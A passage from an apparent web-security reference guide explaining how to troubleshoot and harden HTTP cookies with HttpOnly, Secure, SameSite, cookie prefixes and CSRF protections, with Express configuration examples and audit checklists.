- document.cookie shows session token
- XSS vulnerability present
- Security audit fails
Problem:
# Missing HttpOnly attribute
Set-Cookie: session=abc123; Secure
```javascript
```javascript
// JavaScript can access cookie
console.log(document.cookie) // "session=abc123"
Solution:
# Add HttpOnly attribute
Set-Cookie: session=abc123; Secure; HttpOnly
```javascript
```javascript
// JavaScript cannot access HttpOnly cookies
console.log(document.cookie) // Cookie hidden
Issue 4: Cookie Not Persisting Across Browser Restarts
Symptoms:
- User logged out when browser closes
- “Remember me” not working
- Session lost on restart
Cause: Session cookie (no Max-Age or Expires) instead of persistent cookie.
# Session cookie - deleted when browser closes
Set-Cookie: session=abc123; Secure; HttpOnly
# Persistent cookie - survives browser restart
Set-Cookie: session=abc123; Secure; HttpOnly; Max-Age=2592000
```text
**Implementation:**
```javascript
// Without "remember me"
res.cookie('session', sessionId, {
secure: true,
httpOnly: true
// No maxAge - session cookie
})
// With "remember me"
res.cookie('session', sessionId, {
secure: true,
httpOnly: true,
maxAge: req.body.rememberMe ? 2592000000 : undefined
})
Issue 5: __Host- or __Secure- Prefix Rejected
Symptoms:
- Cookie not being set despite correct code
- Browser ignores cookie
- No error message in DevTools
Problem with __Secure-:
# Rejected: Not served over HTTPS
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure
# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123
```text
**Problem with \_\_Host-:**
```http
# Rejected: Includes Domain attribute
Set-Cookie: __Host-session=abc123; Secure; Domain=example.com; Path=/
# Rejected: Path is not /
Set-Cookie: __Host-session=abc123; Secure; Path=/admin
# Rejected: Missing Secure attribute
Set-Cookie: __Host-session=abc123; Path=/
Correct usage:
# __Secure- cookie
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Strict
# __Host- cookie (strictest)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
```javascript
### Issue 6: CSRF Attacks Despite Cookie Security
**Symptoms:**
- CSRF protection bypassed
- Unwanted actions performed
- SameSite not preventing attacks
**Problem:**
SameSite alone may not be sufficient for all scenarios.
**Additional protections needed:**
```javascript
// 1. CSRF tokens for state-changing operations
app.use(csrf())
app.get('/form', (req, res) => {
res.render('form', { csrfToken: req.csrfToken() })
})
app.post('/action', (req, res) => {
// CSRF token automatically validated
// Process action
})
// 2. Verify Origin/Referer headers
app.use((req, res, next) => {
if (['POST', 'PUT', 'DELETE'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer
const allowedOrigins = ['https://example.com']
if (!origin || !allowedOrigins.some((allowed) => origin.startsWith(allowed))) {
return res.status(403).json({ error: 'Invalid origin' })
}
}
next()
})
// 3. Re-authentication for sensitive actions
app.post('/delete-account', requirePassword, (req, res) => {
// Additional password check
})
Debugging Checklist
When cookies aren’t working:
- Check browser DevTools > Application > Cookies
- Verify cookie attributes match requirements
- Ensure HTTPS is used when Secure attribute is set
- Check Domain and Path match current URL
- Verify SameSite setting allows the request type
- Look for JavaScript errors in Console
- Check Network tab for Set-Cookie headers
- Verify browser supports cookie prefixes (if used)
- Clear cookies and test fresh
- Test in different browser/incognito mode
Security audit checklist:
- All session cookies have HttpOnly attribute
- All cookies use Secure attribute in production
- SameSite is set appropriately (Strict or Lax)
- Cookie lifetimes are as short as possible
- Sensitive cookies use Host- orSecure- prefix
- Domain attribute is not set (or very specific)
- Path attribute limits exposure where appropriate
- CSRF protection is implemented
- Session regeneration on privilege changes
- Secure cookie deletion on logout
Best Practices Summary
For All Applications
- Always use HTTPS in production - Required for Secure attribute
- Set HttpOnly on authentication cookies - Prevents XSS cookie theft
- Use SameSite=Lax as minimum - Basic CSRF protection
- Minimize cookie lifetime - Reduce exposure window
- Use cookie prefixes - __Host- for maximum security
- Regenerate session IDs - On login and privilege changes
- Implement proper logout - Clear cookies and invalidate sessions
- Monitor and audit - Regular security reviews
Development vs Production
Development:
// More permissive for local testing
res.cookie('session', sessionId, {
secure: false, // HTTP allowed locally
httpOnly: true,
sameSite: 'lax'
})
```http
**Production:**
```javascript
// Strict security in production
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 900000, // 15 minutes
path: '/'
})
Security Layers
Cookie security is one layer of a comprehensive security strategy:
- Cookie attributes - HttpOnly, Secure, SameSite
- HTTPS/TLS - Encrypted transmission
- CSRF tokens - Additional request validation
- Content Security Policy - Mitigate XSS
- Input validation - Prevent injection attacks
- Rate limiting - Prevent brute force
- Session management - Timeout, rotation, validation
- Monitoring - Detect anomalies and attacks
Related Resources
- Headers:
Set-Cookie,Cookie,Content-Security-Policy,Strict-Transport-Security - Security: CORS, HTTPS and TLS, Authentication
- Concepts: Sessions and State, Request Lifecycle
Summary
Cookie security is critical for protecting web applications and user data. Key takeaways:
- HttpOnly prevents JavaScript access and XSS cookie theft
- Secure ensures cookies only transmit over HTTPS
- SameSite provides CSRF protection (Strict > Lax > None)
- Cookie prefixes (**Host-,**Secure-) enforce additional constraints
- Domain and Path should be as specific as possible
- Lifetime should be minimized based on use case
- Defense in depth - cookies are one layer of many security measures
- Context matters - balance security with functionality needs
Proper cookie configuration is not optional - it’s essential for modern web security. Always prioritize security attributes, especially for authentication and session cookies.
Frequently Asked Questions
What cookie attributes improve security?
Use Secure (HTTPS only), HttpOnly (no JavaScript access), SameSite=Strict or Lax (CSRF protection). Combine all three for session cookies.
What is the HttpOnly attribute?
HttpOnly prevents JavaScript from accessing the cookie via document.cookie. This protects session tokens from XSS attacks that try to steal cookies.
What does SameSite protect against?
SameSite prevents CSRF attacks by controlling when cookies are sent with cross-site requests. Strict blocks all cross-site, Lax allows safe navigation.
How do I secure session cookies?
Use Secure, HttpOnly, SameSite=Strict, short expiration, and regenerate session ID after login. Store minimal data in cookies, keep sensitive data server-side.